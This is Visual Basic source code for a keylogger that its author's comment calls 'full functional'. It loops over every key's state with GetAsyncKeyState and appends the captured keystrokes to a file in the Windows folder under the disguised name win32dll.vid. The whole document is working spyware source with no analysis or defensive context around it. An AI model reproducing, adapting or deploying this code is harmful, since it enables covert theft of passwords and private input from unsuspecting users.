'keylogger sample by kagra 'This is an old,but full functional keylogger....KaGra Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) Private Sub Form_Load() On Error Resume Next Dim keystate As Integer, scancodes As Integer Dim keypressed As String Dim all As String Dim bunk As String Dim size As Integer Set fso = CreateObject("scripting.filesystemobject") Set winfold = fso.getspecialfolder(0) bunk = winfold & "\win32dll.vid" Do Sleep 10 For scancodes = 1 To 254 keystate = GetAsyncKeyState(scancodes) If keystate = -32767 Then keypressed = Chr(scancodes) If scancodes = 16 Then keypressed = "-Shift-" End If If scancodes = 20 Then keypressed = "-Caps-" End If If scancodes = 32 Then keypressed = "-Space-" End If If scancodes = 1 Then keypressed = "-leftClick-" End If If scancodes = 2 Then keypressed = "-RightClick-" End If If scancodes = 9 Then keypressed = "-Tab-" End If If scancodes = 17 Then keypressed = "-Ctrl-" End If If scancodes = 13 Then keypressed = "-Enter-" End If If scancodes = 18 Then keypressed = "-Alt-" End If If scancodes = 46 Then keypressed = "-Del-" End If If Not (fso.fileexists(bunk)) Then Open bunk For Binary Access Read Write As #2 Close #2 End If all = all & keypressed If Len(all) > 30 Then size = FileLen(bunk) Open bunk For Binary Access Write As #1 Seek #1, size + 1 Put #1, , all Close #1 all = "" End If End If Next Loop End Sub